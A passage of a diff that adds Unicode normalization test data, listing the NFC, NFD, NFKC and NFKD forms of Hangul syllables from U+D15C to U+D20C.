+{ source: [0xD15C], NFC: [0xD15C], NFD: [0x1110, 0x1166, 0x11B7], NFKC: [0xD15C], NFKD: [0x1110, 0x1166, 0x11B7] },
+{ source: [0xD15D], NFC: [0xD15D], NFD: [0x1110, 0x1166, 0x11B8], NFKC: [0xD15D], NFKD: [0x1110, 0x1166, 0x11B8] },
+{ source: [0xD15E], NFC: [0xD15E], NFD: [0x1110, 0x1166, 0x11B9], NFKC: [0xD15E], NFKD: [0x1110, 0x1166, 0x11B9] },
+{ source: [0xD15F], NFC: [0xD15F], NFD: [0x1110, 0x1166, 0x11BA], NFKC: [0xD15F], NFKD: [0x1110, 0x1166, 0x11BA] },
+{ source: [0xD160], NFC: [0xD160], NFD: [0x1110, 0x1166, 0x11BB], NFKC: [0xD160], NFKD: [0x1110, 0x1166, 0x11BB] },
+{ source: [0xD161], NFC: [0xD161], NFD: [0x1110, 0x1166, 0x11BC], NFKC: [0xD161], NFKD: [0x1110, 0x1166, 0x11BC] },
+{ source: [0xD162], NFC: [0xD162], NFD: [0x1110, 0x1166, 0x11BD], NFKC: [0xD162], NFKD: [0x1110, 0x1166, 0x11BD] },
+{ source: [0xD163], NFC: [0xD163], NFD: [0x1110, 0x1166, 0x11BE], NFKC: [0xD163], NFKD: [0x1110, 0x1166, 0x11BE] },
+{ source: [0xD164], NFC: [0xD164], NFD: [0x1110, 0x1166, 0x11BF], NFKC: [0xD164], NFKD: [0x1110, 0x1166, 0x11BF] },
+{ source: [0xD165], NFC: [0xD165], NFD: [0x1110, 0x1166, 0x11C0], NFKC: [0xD165], NFKD: [0x1110, 0x1166, 0x11C0] },
+{ source: [0xD166], NFC: [0xD166], NFD: [0x1110, 0x1166, 0x11C1], NFKC: [0xD166], NFKD: [0x1110, 0x1166, 0x11C1] },
+{ source: [0xD167], NFC: [0xD167], NFD: [0x1110, 0x1166, 0x11C2], NFKC: [0xD167], NFKD: [0x1110, 0x1166, 0x11C2] },
+{ source: [0xD168], NFC: [0xD168], NFD: [0x1110, 0x1167], NFKC: [0xD168], NFKD: [0x1110, 0x1167] },
+{ source: [0xD169], NFC: [0xD169], NFD: [0x1110, 0x1167, 0x11A8], NFKC: [0xD169], NFKD: [0x1110, 0x1167, 0x11A8] },
+{ source: [0xD16A], NFC: [0xD16A], NFD: [0x1110, 0x1167, 0x11A9], NFKC: [0xD16A], NFKD: [0x1110, 0x1167, 0x11A9] },
+{ source: [0xD16B], NFC: [0xD16B], NFD: [0x1110, 0x1167, 0x11AA], NFKC: [0xD16B], NFKD: [0x1110, 0x1167, 0x11AA] },
+{ source: [0xD16C], NFC: [0xD16C], NFD: [0x1110, 0x1167, 0x11AB], NFKC: [0xD16C], NFKD: [0x1110, 0x1167, 0x11AB] },
+{ source: [0xD16D], NFC: [0xD16D], NFD: [0x1110, 0x1167, 0x11AC], NFKC: [0xD16D], NFKD: [0x1110, 0x1167, 0x11AC] },
+{ source: [0xD16E], NFC: [0xD16E], NFD: [0x1110, 0x1167, 0x11AD], NFKC: [0xD16E], NFKD: [0x1110, 0x1167, 0x11AD] },
+{ source: [0xD16F], NFC: [0xD16F], NFD: [0x1110, 0x1167, 0x11AE], NFKC: [0xD16F], NFKD: [0x1110, 0x1167, 0x11AE] },
+{ source: [0xD170], NFC: [0xD170], NFD: [0x1110, 0x1167, 0x11AF], NFKC: [0xD170], NFKD: [0x1110, 0x1167, 0x11AF] },
+{ source: [0xD171], NFC: [0xD171], NFD: [0x1110, 0x1167, 0x11B0], NFKC: [0xD171], NFKD: [0x1110, 0x1167, 0x11B0] },
+{ source: [0xD172], NFC: [0xD172], NFD: [0x1110, 0x1167, 0x11B1], NFKC: [0xD172], NFKD: [0x1110, 0x1167, 0x11B1] },
+{ source: [0xD173], NFC: [0xD173], NFD: [0x1110, 0x1167, 0x11B2], NFKC: [0xD173], NFKD: [0x1110, 0x1167, 0x11B2] },
+{ source: [0xD174], NFC: [0xD174], NFD: [0x1110, 0x1167, 0x11B3], NFKC: [0xD174], NFKD: [0x1110, 0x1167, 0x11B3] },
+{ source: [0xD175], NFC: [0xD175], NFD: [0x1110, 0x1167, 0x11B4], NFKC: [0xD175], NFKD: [0x1110, 0x1167, 0x11B4] },
+{ source: [0xD176], NFC: [0xD176], NFD: [0x1110, 0x1167, 0x11B5], NFKC: [0xD176], NFKD: [0x1110, 0x1167, 0x11B5] },
+{ source: [0xD177], NFC: [0xD177], NFD: [0x1110, 0x1167, 0x11B6], NFKC: [0xD177], NFKD: [0x1110, 0x1167, 0x11B6] },
+{ source: [0xD178], NFC: [0xD178], NFD: [0x1110, 0x1167, 0x11B7], NFKC: [0xD178], NFKD: [0x1110, 0x1167, 0x11B7] },
+{ source: [0xD179], NFC: [0xD179], NFD: [0x1110, 0x1167, 0x11B8], NFKC: [0xD179], NFKD: [0x1110, 0x1167, 0x11B8] },
+{ source: [0xD17A], NFC: [0xD17A], NFD: [0x1110, 0x1167, 0x11B9], NFKC: [0xD17A], NFKD: [0x1110, 0x1167, 0x11B9] },
+{ source: [0xD17B], NFC: [0xD17B], NFD: [0x1110, 0x1167, 0x11BA], NFKC: [0xD17B], NFKD: [0x1110, 0x1167, 0x11BA] },
+{ source: [0xD17C], NFC: [0xD17C], NFD: [0x1110, 0x1167, 0x11BB], NFKC: [0xD17C], NFKD: [0x1110, 0x1167, 0x11BB] },
+{ source: [0xD17D], NFC: [0xD17D], NFD: [0x1110, 0x1167, 0x11BC], NFKC: [0xD17D], NFKD: [0x1110, 0x1167, 0x11BC] },
+{ source: [0xD17E], NFC: [0xD17E], NFD: [0x1110, 0x1167, 0x11BD], NFKC: [0xD17E], NFKD: [0x1110, 0x1167, 0x11BD] },
+{ source: [0xD17F], NFC: [0xD17F], NFD: [0x1110, 0x1167, 0x11BE], NFKC: [0xD17F], NFKD: [0x1110, 0x1167, 0x11BE] },
+{ source: [0xD180], NFC: [0xD180], NFD: [0x1110, 0x1167, 0x11BF], NFKC: [0xD180], NFKD: [0x1110, 0x1167, 0x11BF] },
+{ source: [0xD181], NFC: [0xD181], NFD: [0x1110, 0x1167, 0x11C0], NFKC: [0xD181], NFKD: [0x1110, 0x1167, 0x11C0] },
+{ source: [0xD182], NFC: [0xD182], NFD: [0x1110, 0x1167, 0x11C1], NFKC: [0xD182], NFKD: [0x1110, 0x1167, 0x11C1] },
+{ source: [0xD183], NFC: [0xD183], NFD: [0x1110, 0x1167, 0x11C2], NFKC: [0xD183], NFKD: [0x1110, 0x1167, 0x11C2] },
+{ source: [0xD184], NFC: [0xD184], NFD: [0x1110, 0x1168], NFKC: [0xD184], NFKD: [0x1110, 0x1168] },
+{ source: [0xD185], NFC: [0xD185], NFD: [0x1110, 0x1168, 0x11A8], NFKC: [0xD185], NFKD: [0x1110, 0x1168, 0x11A8] },
+{ source: [0xD186], NFC: [0xD186], NFD: [0x1110, 0x1168, 0x11A9], NFKC: [0xD186], NFKD: [0x1110, 0x1168, 0x11A9] },
+{ source: [0xD187], NFC: [0xD187], NFD: [0x1110, 0x1168, 0x11AA], NFKC: [0xD187], NFKD: [0x1110, 0x1168, 0x11AA] },
+{ source: [0xD188], NFC: [0xD188], NFD: [0x1110, 0x1168, 0x11AB], NFKC: [0xD188], NFKD: [0x1110, 0x1168, 0x11AB] },
+{ source: [0xD189], NFC: [0xD189], NFD: [0x1110, 0x1168, 0x11AC], NFKC: [0xD189], NFKD: [0x1110, 0x1168, 0x11AC] },
+{ source: [0xD18A], NFC: [0xD18A], NFD: [0x1110, 0x1168, 0x11AD], NFKC: [0xD18A], NFKD: [0x1110, 0x1168, 0x11AD] },
+{ source: [0xD18B], NFC: [0xD18B], NFD: [0x1110, 0x1168, 0x11AE], NFKC: [0xD18B], NFKD: [0x1110, 0x1168, 0x11AE] },
+{ source: [0xD18C], NFC: [0xD18C], NFD: [0x1110, 0x1168, 0x11AF], NFKC: [0xD18C], NFKD: [0x1110, 0x1168, 0x11AF] },
+{ source: [0xD18D], NFC: [0xD18D], NFD: [0x1110, 0x1168, 0x11B0], NFKC: [0xD18D], NFKD: [0x1110, 0x1168, 0x11B0] },
+{ source: [0xD18E], NFC: [0xD18E], NFD: [0x1110, 0x1168, 0x11B1], NFKC: [0xD18E], NFKD: [0x1110, 0x1168, 0x11B1] },
+{ source: [0xD18F], NFC: [0xD18F], NFD: [0x1110, 0x1168, 0x11B2], NFKC: [0xD18F], NFKD: [0x1110, 0x1168, 0x11B2] },
+{ source: [0xD190], NFC: [0xD190], NFD: [0x1110, 0x1168, 0x11B3], NFKC: [0xD190], NFKD: [0x1110, 0x1168, 0x11B3] },
+{ source: [0xD191], NFC: [0xD191], NFD: [0x1110, 0x1168, 0x11B4], NFKC: [0xD191], NFKD: [0x1110, 0x1168, 0x11B4] },
+{ source: [0xD192], NFC: [0xD192], NFD: [0x1110, 0x1168, 0x11B5], NFKC: [0xD192], NFKD: [0x1110, 0x1168, 0x11B5] },
+{ source: [0xD193], NFC: [0xD193], NFD: [0x1110, 0x1168, 0x11B6], NFKC: [0xD193], NFKD: [0x1110, 0x1168, 0x11B6] },
+{ source: [0xD194], NFC: [0xD194], NFD: [0x1110, 0x1168, 0x11B7], NFKC: [0xD194], NFKD: [0x1110, 0x1168, 0x11B7] },
+{ source: [0xD195], NFC: [0xD195], NFD: [0x1110, 0x1168, 0x11B8], NFKC: [0xD195], NFKD: [0x1110, 0x1168, 0x11B8] },
+{ source: [0xD196], NFC: [0xD196], NFD: [0x1110, 0x1168, 0x11B9], NFKC: [0xD196], NFKD: [0x1110, 0x1168, 0x11B9] },
+{ source: [0xD197], NFC: [0xD197], NFD: [0x1110, 0x1168, 0x11BA], NFKC: [0xD197], NFKD: [0x1110, 0x1168, 0x11BA] },
+{ source: [0xD198], NFC: [0xD198], NFD: [0x1110, 0x1168, 0x11BB], NFKC: [0xD198], NFKD: [0x1110, 0x1168, 0x11BB] },
+{ source: [0xD199], NFC: [0xD199], NFD: [0x1110, 0x1168, 0x11BC], NFKC: [0xD199], NFKD: [0x1110, 0x1168, 0x11BC] },
+{ source: [0xD19A], NFC: [0xD19A], NFD: [0x1110, 0x1168, 0x11BD], NFKC: [0xD19A], NFKD: [0x1110, 0x1168, 0x11BD] },
+{ source: [0xD19B], NFC: [0xD19B], NFD: [0x1110, 0x1168, 0x11BE], NFKC: [0xD19B], NFKD: [0x1110, 0x1168, 0x11BE] },
+{ source: [0xD19C], NFC: [0xD19C], NFD: [0x1110, 0x1168, 0x11BF], NFKC: [0xD19C], NFKD: [0x1110, 0x1168, 0x11BF] },
+{ source: [0xD19D], NFC: [0xD19D], NFD: [0x1110, 0x1168, 0x11C0], NFKC: [0xD19D], NFKD: [0x1110, 0x1168, 0x11C0] },
+{ source: [0xD19E], NFC: [0xD19E], NFD: [0x1110, 0x1168, 0x11C1], NFKC: [0xD19E], NFKD: [0x1110, 0x1168, 0x11C1] },
+{ source: [0xD19F], NFC: [0xD19F], NFD: [0x1110, 0x1168, 0x11C2], NFKC: [0xD19F], NFKD: [0x1110, 0x1168, 0x11C2] },
+{ source: [0xD1A0], NFC: [0xD1A0], NFD: [0x1110, 0x1169], NFKC: [0xD1A0], NFKD: [0x1110, 0x1169] },
+{ source: [0xD1A1], NFC: [0xD1A1], NFD: [0x1110, 0x1169, 0x11A8], NFKC: [0xD1A1], NFKD: [0x1110, 0x1169, 0x11A8] },
+{ source: [0xD1A2], NFC: [0xD1A2], NFD: [0x1110, 0x1169, 0x11A9], NFKC: [0xD1A2], NFKD: [0x1110, 0x1169, 0x11A9] },
+{ source: [0xD1A3], NFC: [0xD1A3], NFD: [0x1110, 0x1169, 0x11AA], NFKC: [0xD1A3], NFKD: [0x1110, 0x1169, 0x11AA] },
+{ source: [0xD1A4], NFC: [0xD1A4], NFD: [0x1110, 0x1169, 0x11AB], NFKC: [0xD1A4], NFKD: [0x1110, 0x1169, 0x11AB] },
+{ source: [0xD1A5], NFC: [0xD1A5], NFD: [0x1110, 0x1169, 0x11AC], NFKC: [0xD1A5], NFKD: [0x1110, 0x1169, 0x11AC] },
+{ source: [0xD1A6], NFC: [0xD1A6], NFD: [0x1110, 0x1169, 0x11AD], NFKC: [0xD1A6], NFKD: [0x1110, 0x1169, 0x11AD] },
+{ source: [0xD1A7], NFC: [0xD1A7], NFD: [0x1110, 0x1169, 0x11AE], NFKC: [0xD1A7], NFKD: [0x1110, 0x1169, 0x11AE] },
+{ source: [0xD1A8], NFC: [0xD1A8], NFD: [0x1110, 0x1169, 0x11AF], NFKC: [0xD1A8], NFKD: [0x1110, 0x1169, 0x11AF] },
+{ source: [0xD1A9], NFC: [0xD1A9], NFD: [0x1110, 0x1169, 0x11B0], NFKC: [0xD1A9], NFKD: [0x1110, 0x1169, 0x11B0] },
+{ source: [0xD1AA], NFC: [0xD1AA], NFD: [0x1110, 0x1169, 0x11B1], NFKC: [0xD1AA], NFKD: [0x1110, 0x1169, 0x11B1] },
+{ source: [0xD1AB], NFC: [0xD1AB], NFD: [0x1110, 0x1169, 0x11B2], NFKC: [0xD1AB], NFKD: [0x1110, 0x1169, 0x11B2] },
+{ source: [0xD1AC], NFC: [0xD1AC], NFD: [0x1110, 0x1169, 0x11B3], NFKC: [0xD1AC], NFKD: [0x1110, 0x1169, 0x11B3] },
+{ source: [0xD1AD], NFC: [0xD1AD], NFD: [0x1110, 0x1169, 0x11B4], NFKC: [0xD1AD], NFKD: [0x1110, 0x1169, 0x11B4] },
+{ source: [0xD1AE], NFC: [0xD1AE], NFD: [0x1110, 0x1169, 0x11B5], NFKC: [0xD1AE], NFKD: [0x1110, 0x1169, 0x11B5] },
+{ source: [0xD1AF], NFC: [0xD1AF], NFD: [0x1110, 0x1169, 0x11B6], NFKC: [0xD1AF], NFKD: [0x1110, 0x1169, 0x11B6] },
+{ source: [0xD1B0], NFC: [0xD1B0], NFD: [0x1110, 0x1169, 0x11B7], NFKC: [0xD1B0], NFKD: [0x1110, 0x1169, 0x11B7] },
+{ source: [0xD1B1], NFC: [0xD1B1], NFD: [0x1110, 0x1169, 0x11B8], NFKC: [0xD1B1], NFKD: [0x1110, 0x1169, 0x11B8] },
+{ source: [0xD1B2], NFC: [0xD1B2], NFD: [0x1110, 0x1169, 0x11B9], NFKC: [0xD1B2], NFKD: [0x1110, 0x1169, 0x11B9] },
+{ source: [0xD1B3], NFC: [0xD1B3], NFD: [0x1110, 0x1169, 0x11BA], NFKC: [0xD1B3], NFKD: [0x1110, 0x1169, 0x11BA] },
+{ source: [0xD1B4], NFC: [0xD1B4], NFD: [0x1110, 0x1169, 0x11BB], NFKC: [0xD1B4], NFKD: [0x1110, 0x1169, 0x11BB] },
+{ source: [0xD1B5], NFC: [0xD1B5], NFD: [0x1110, 0x1169, 0x11BC], NFKC: [0xD1B5], NFKD: [0x1110, 0x1169, 0x11BC] },
+{ source: [0xD1B6], NFC: [0xD1B6], NFD: [0x1110, 0x1169, 0x11BD], NFKC: [0xD1B6], NFKD: [0x1110, 0x1169, 0x11BD] },
+{ source: [0xD1B7], NFC: [0xD1B7], NFD: [0x1110, 0x1169, 0x11BE], NFKC: [0xD1B7], NFKD: [0x1110, 0x1169, 0x11BE] },
+{ source: [0xD1B8], NFC: [0xD1B8], NFD: [0x1110, 0x1169, 0x11BF], NFKC: [0xD1B8], NFKD: [0x1110, 0x1169, 0x11BF] },
+{ source: [0xD1B9], NFC: [0xD1B9], NFD: [0x1110, 0x1169, 0x11C0], NFKC: [0xD1B9], NFKD: [0x1110, 0x1169, 0x11C0] },
+{ source: [0xD1BA], NFC: [0xD1BA], NFD: [0x1110, 0x1169, 0x11C1], NFKC: [0xD1BA], NFKD: [0x1110, 0x1169, 0x11C1] },
+{ source: [0xD1BB], NFC: [0xD1BB], NFD: [0x1110, 0x1169, 0x11C2], NFKC: [0xD1BB], NFKD: [0x1110, 0x1169, 0x11C2] },
+{ source: [0xD1BC], NFC: [0xD1BC], NFD: [0x1110, 0x116A], NFKC: [0xD1BC], NFKD: [0x1110, 0x116A] },
+{ source: [0xD1BD], NFC: [0xD1BD], NFD: [0x1110, 0x116A, 0x11A8], NFKC: [0xD1BD], NFKD: [0x1110, 0x116A, 0x11A8] },
+{ source: [0xD1BE], NFC: [0xD1BE], NFD: [0x1110, 0x116A, 0x11A9], NFKC: [0xD1BE], NFKD: [0x1110, 0x116A, 0x11A9] },
+{ source: [0xD1BF], NFC: [0xD1BF], NFD: [0x1110, 0x116A, 0x11AA], NFKC: [0xD1BF], NFKD: [0x1110, 0x116A, 0x11AA] },
+{ source: [0xD1C0], NFC: [0xD1C0], NFD: [0x1110, 0x116A, 0x11AB], NFKC: [0xD1C0], NFKD: [0x1110, 0x116A, 0x11AB] },
+{ source: [0xD1C1], NFC: [0xD1C1], NFD: [0x1110, 0x116A, 0x11AC], NFKC: [0xD1C1], NFKD: [0x1110, 0x116A, 0x11AC] },
+{ source: [0xD1C2], NFC: [0xD1C2], NFD: [0x1110, 0x116A, 0x11AD], NFKC: [0xD1C2], NFKD: [0x1110, 0x116A, 0x11AD] },
+{ source: [0xD1C3], NFC: [0xD1C3], NFD: [0x1110, 0x116A, 0x11AE], NFKC: [0xD1C3], NFKD: [0x1110, 0x116A, 0x11AE] },
+{ source: [0xD1C4], NFC: [0xD1C4], NFD: [0x1110, 0x116A, 0x11AF], NFKC: [0xD1C4], NFKD: [0x1110, 0x116A, 0x11AF] },
+{ source: [0xD1C5], NFC: [0xD1C5], NFD: [0x1110, 0x116A, 0x11B0], NFKC: [0xD1C5], NFKD: [0x1110, 0x116A, 0x11B0] },
+{ source: [0xD1C6], NFC: [0xD1C6], NFD: [0x1110, 0x116A, 0x11B1], NFKC: [0xD1C6], NFKD: [0x1110, 0x116A, 0x11B1] },
+{ source: [0xD1C7], NFC: [0xD1C7], NFD: [0x1110, 0x116A, 0x11B2], NFKC: [0xD1C7], NFKD: [0x1110, 0x116A, 0x11B2] },
+{ source: [0xD1C8], NFC: [0xD1C8], NFD: [0x1110, 0x116A, 0x11B3], NFKC: [0xD1C8], NFKD: [0x1110, 0x116A, 0x11B3] },
+{ source: [0xD1C9], NFC: [0xD1C9], NFD: [0x1110, 0x116A, 0x11B4], NFKC: [0xD1C9], NFKD: [0x1110, 0x116A, 0x11B4] },
+{ source: [0xD1CA], NFC: [0xD1CA], NFD: [0x1110, 0x116A, 0x11B5], NFKC: [0xD1CA], NFKD: [0x1110, 0x116A, 0x11B5] },
+{ source: [0xD1CB], NFC: [0xD1CB], NFD: [0x1110, 0x116A, 0x11B6], NFKC: [0xD1CB], NFKD: [0x1110, 0x116A, 0x11B6] },
+{ source: [0xD1CC], NFC: [0xD1CC], NFD: [0x1110, 0x116A, 0x11B7], NFKC: [0xD1CC], NFKD: [0x1110, 0x116A, 0x11B7] },
+{ source: [0xD1CD], NFC: [0xD1CD], NFD: [0x1110, 0x116A, 0x11B8], NFKC: [0xD1CD], NFKD: [0x1110, 0x116A, 0x11B8] },
+{ source: [0xD1CE], NFC: [0xD1CE], NFD: [0x1110, 0x116A, 0x11B9], NFKC: [0xD1CE], NFKD: [0x1110, 0x116A, 0x11B9] },
+{ source: [0xD1CF], NFC: [0xD1CF], NFD: [0x1110, 0x116A, 0x11BA], NFKC: [0xD1CF], NFKD: [0x1110, 0x116A, 0x11BA] },
+{ source: [0xD1D0], NFC: [0xD1D0], NFD: [0x1110, 0x116A, 0x11BB], NFKC: [0xD1D0], NFKD: [0x1110, 0x116A, 0x11BB] },
+{ source: [0xD1D1], NFC: [0xD1D1], NFD: [0x1110, 0x116A, 0x11BC], NFKC: [0xD1D1], NFKD: [0x1110, 0x116A, 0x11BC] },
+{ source: [0xD1D2], NFC: [0xD1D2], NFD: [0x1110, 0x116A, 0x11BD], NFKC: [0xD1D2], NFKD: [0x1110, 0x116A, 0x11BD] },
+{ source: [0xD1D3], NFC: [0xD1D3], NFD: [0x1110, 0x116A, 0x11BE], NFKC: [0xD1D3], NFKD: [0x1110, 0x116A, 0x11BE] },
+{ source: [0xD1D4], NFC: [0xD1D4], NFD: [0x1110, 0x116A, 0x11BF], NFKC: [0xD1D4], NFKD: [0x1110, 0x116A, 0x11BF] },
+{ source: [0xD1D5], NFC: [0xD1D5], NFD: [0x1110, 0x116A, 0x11C0], NFKC: [0xD1D5], NFKD: [0x1110, 0x116A, 0x11C0] },
+{ source: [0xD1D6], NFC: [0xD1D6], NFD: [0x1110, 0x116A, 0x11C1], NFKC: [0xD1D6], NFKD: [0x1110, 0x116A, 0x11C1] },
+{ source: [0xD1D7], NFC: [0xD1D7], NFD: [0x1110, 0x116A, 0x11C2], NFKC: [0xD1D7], NFKD: [0x1110, 0x116A, 0x11C2] },
+{ source: [0xD1D8], NFC: [0xD1D8], NFD: [0x1110, 0x116B], NFKC: [0xD1D8], NFKD: [0x1110, 0x116B] },
+{ source: [0xD1D9], NFC: [0xD1D9], NFD: [0x1110, 0x116B, 0x11A8], NFKC: [0xD1D9], NFKD: [0x1110, 0x116B, 0x11A8] },
+{ source: [0xD1DA], NFC: [0xD1DA], NFD: [0x1110, 0x116B, 0x11A9], NFKC: [0xD1DA], NFKD: [0x1110, 0x116B, 0x11A9] },
+{ source: [0xD1DB], NFC: [0xD1DB], NFD: [0x1110, 0x116B, 0x11AA], NFKC: [0xD1DB], NFKD: [0x1110, 0x116B, 0x11AA] },
+{ source: [0xD1DC], NFC: [0xD1DC], NFD: [0x1110, 0x116B, 0x11AB], NFKC: [0xD1DC], NFKD: [0x1110, 0x116B, 0x11AB] },
+{ source: [0xD1DD], NFC: [0xD1DD], NFD: [0x1110, 0x116B, 0x11AC], NFKC: [0xD1DD], NFKD: [0x1110, 0x116B, 0x11AC] },
+{ source: [0xD1DE], NFC: [0xD1DE], NFD: [0x1110, 0x116B, 0x11AD], NFKC: [0xD1DE], NFKD: [0x1110, 0x116B, 0x11AD] },
+{ source: [0xD1DF], NFC: [0xD1DF], NFD: [0x1110, 0x116B, 0x11AE], NFKC: [0xD1DF], NFKD: [0x1110, 0x116B, 0x11AE] },
+{ source: [0xD1E0], NFC: [0xD1E0], NFD: [0x1110, 0x116B, 0x11AF], NFKC: [0xD1E0], NFKD: [0x1110, 0x116B, 0x11AF] },
+{ source: [0xD1E1], NFC: [0xD1E1], NFD: [0x1110, 0x116B, 0x11B0], NFKC: [0xD1E1], NFKD: [0x1110, 0x116B, 0x11B0] },
+{ source: [0xD1E2], NFC: [0xD1E2], NFD: [0x1110, 0x116B, 0x11B1], NFKC: [0xD1E2], NFKD: [0x1110, 0x116B, 0x11B1] },
+{ source: [0xD1E3], NFC: [0xD1E3], NFD: [0x1110, 0x116B, 0x11B2], NFKC: [0xD1E3], NFKD: [0x1110, 0x116B, 0x11B2] },
+{ source: [0xD1E4], NFC: [0xD1E4], NFD: [0x1110, 0x116B, 0x11B3], NFKC: [0xD1E4], NFKD: [0x1110, 0x116B, 0x11B3] },
+{ source: [0xD1E5], NFC: [0xD1E5], NFD: [0x1110, 0x116B, 0x11B4], NFKC: [0xD1E5], NFKD: [0x1110, 0x116B, 0x11B4] },
+{ source: [0xD1E6], NFC: [0xD1E6], NFD: [0x1110, 0x116B, 0x11B5], NFKC: [0xD1E6], NFKD: [0x1110, 0x116B, 0x11B5] },
+{ source: [0xD1E7], NFC: [0xD1E7], NFD: [0x1110, 0x116B, 0x11B6], NFKC: [0xD1E7], NFKD: [0x1110, 0x116B, 0x11B6] },
+{ source: [0xD1E8], NFC: [0xD1E8], NFD: [0x1110, 0x116B, 0x11B7], NFKC: [0xD1E8], NFKD: [0x1110, 0x116B, 0x11B7] },
+{ source: [0xD1E9], NFC: [0xD1E9], NFD: [0x1110, 0x116B, 0x11B8], NFKC: [0xD1E9], NFKD: [0x1110, 0x116B, 0x11B8] },
+{ source: [0xD1EA], NFC: [0xD1EA], NFD: [0x1110, 0x116B, 0x11B9], NFKC: [0xD1EA], NFKD: [0x1110, 0x116B, 0x11B9] },
+{ source: [0xD1EB], NFC: [0xD1EB], NFD: [0x1110, 0x116B, 0x11BA], NFKC: [0xD1EB], NFKD: [0x1110, 0x116B, 0x11BA] },
+{ source: [0xD1EC], NFC: [0xD1EC], NFD: [0x1110, 0x116B, 0x11BB], NFKC: [0xD1EC], NFKD: [0x1110, 0x116B, 0x11BB] },
+{ source: [0xD1ED], NFC: [0xD1ED], NFD: [0x1110, 0x116B, 0x11BC], NFKC: [0xD1ED], NFKD: [0x1110, 0x116B, 0x11BC] },
+{ source: [0xD1EE], NFC: [0xD1EE], NFD: [0x1110, 0x116B, 0x11BD], NFKC: [0xD1EE], NFKD: [0x1110, 0x116B, 0x11BD] },
+{ source: [0xD1EF], NFC: [0xD1EF], NFD: [0x1110, 0x116B, 0x11BE], NFKC: [0xD1EF], NFKD: [0x1110, 0x116B, 0x11BE] },
+{ source: [0xD1F0], NFC: [0xD1F0], NFD: [0x1110, 0x116B, 0x11BF], NFKC: [0xD1F0], NFKD: [0x1110, 0x116B, 0x11BF] },
+{ source: [0xD1F1], NFC: [0xD1F1], NFD: [0x1110, 0x116B, 0x11C0], NFKC: [0xD1F1], NFKD: [0x1110, 0x116B, 0x11C0] },
+{ source: [0xD1F2], NFC: [0xD1F2], NFD: [0x1110, 0x116B, 0x11C1], NFKC: [0xD1F2], NFKD: [0x1110, 0x116B, 0x11C1] },
+{ source: [0xD1F3], NFC: [0xD1F3], NFD: [0x1110, 0x116B, 0x11C2], NFKC: [0xD1F3], NFKD: [0x1110, 0x116B, 0x11C2] },
+{ source: [0xD1F4], NFC: [0xD1F4], NFD: [0x1110, 0x116C], NFKC: [0xD1F4], NFKD: [0x1110, 0x116C] },
+{ source: [0xD1F5], NFC: [0xD1F5], NFD: [0x1110, 0x116C, 0x11A8], NFKC: [0xD1F5], NFKD: [0x1110, 0x116C, 0x11A8] },
+{ source: [0xD1F6], NFC: [0xD1F6], NFD: [0x1110, 0x116C, 0x11A9], NFKC: [0xD1F6], NFKD: [0x1110, 0x116C, 0x11A9] },
+{ source: [0xD1F7], NFC: [0xD1F7], NFD: [0x1110, 0x116C, 0x11AA], NFKC: [0xD1F7], NFKD: [0x1110, 0x116C, 0x11AA] },
+{ source: [0xD1F8], NFC: [0xD1F8], NFD: [0x1110, 0x116C, 0x11AB], NFKC: [0xD1F8], NFKD: [0x1110, 0x116C, 0x11AB] },
+{ source: [0xD1F9], NFC: [0xD1F9], NFD: [0x1110, 0x116C, 0x11AC], NFKC: [0xD1F9], NFKD: [0x1110, 0x116C, 0x11AC] },
+{ source: [0xD1FA], NFC: [0xD1FA], NFD: [0x1110, 0x116C, 0x11AD], NFKC: [0xD1FA], NFKD: [0x1110, 0x116C, 0x11AD] },
+{ source: [0xD1FB], NFC: [0xD1FB], NFD: [0x1110, 0x116C, 0x11AE], NFKC: [0xD1FB], NFKD: [0x1110, 0x116C, 0x11AE] },
+{ source: [0xD1FC], NFC: [0xD1FC], NFD: [0x1110, 0x116C, 0x11AF], NFKC: [0xD1FC], NFKD: [0x1110, 0x116C, 0x11AF] },
+{ source: [0xD1FD], NFC: [0xD1FD], NFD: [0x1110, 0x116C, 0x11B0], NFKC: [0xD1FD], NFKD: [0x1110, 0x116C, 0x11B0] },
+{ source: [0xD1FE], NFC: [0xD1FE], NFD: [0x1110, 0x116C, 0x11B1], NFKC: [0xD1FE], NFKD: [0x1110, 0x116C, 0x11B1] },
+{ source: [0xD1FF], NFC: [0xD1FF], NFD: [0x1110, 0x116C, 0x11B2], NFKC: [0xD1FF], NFKD: [0x1110, 0x116C, 0x11B2] },
+{ source: [0xD200], NFC: [0xD200], NFD: [0x1110, 0x116C, 0x11B3], NFKC: [0xD200], NFKD: [0x1110, 0x116C, 0x11B3] },
+{ source: [0xD201], NFC: [0xD201], NFD: [0x1110, 0x116C, 0x11B4], NFKC: [0xD201], NFKD: [0x1110, 0x116C, 0x11B4] },
+{ source: [0xD202], NFC: [0xD202], NFD: [0x1110, 0x116C, 0x11B5], NFKC: [0xD202], NFKD: [0x1110, 0x116C, 0x11B5] },
+{ source: [0xD203], NFC: [0xD203], NFD: [0x1110, 0x116C, 0x11B6], NFKC: [0xD203], NFKD: [0x1110, 0x116C, 0x11B6] },
+{ source: [0xD204], NFC: [0xD204], NFD: [0x1110, 0x116C, 0x11B7], NFKC: [0xD204], NFKD: [0x1110, 0x116C, 0x11B7] },
+{ source: [0xD205], NFC: [0xD205], NFD: [0x1110, 0x116C, 0x11B8], NFKC: [0xD205], NFKD: [0x1110, 0x116C, 0x11B8] },
+{ source: [0xD206], NFC: [0xD206], NFD: [0x1110, 0x116C, 0x11B9], NFKC: [0xD206], NFKD: [0x1110, 0x116C, 0x11B9] },
+{ source: [0xD207], NFC: [0xD207], NFD: [0x1110, 0x116C, 0x11BA], NFKC: [0xD207], NFKD: [0x1110, 0x116C, 0x11BA] },
+{ source: [0xD208], NFC: [0xD208], NFD: [0x1110, 0x116C, 0x11BB], NFKC: [0xD208], NFKD: [0x1110, 0x116C, 0x11BB] },
+{ source: [0xD209], NFC: [0xD209], NFD: [0x1110, 0x116C, 0x11BC], NFKC: [0xD209], NFKD: [0x1110, 0x116C, 0x11BC] },
+{ source: [0xD20A], NFC: [0xD20A], NFD: [0x1110, 0x116C, 0x11BD], NFKC: [0xD20A], NFKD: [0x1110, 0x116C, 0x11BD] },
+{ source: [0xD20B], NFC: [0xD20B], NFD: [0x1110, 0x116C, 0x11BE], NFKC: [0xD20B], NFKD: [0x1110, 0x116C, 0x11BE] },
+{ source: [0xD20C], NFC: [0xD20C], NFD: [0x1110, 0x116C, 0x11BF], NFKC: [0xD20C], NFKD: [0x1110, 0x116C, 0x11BF] },
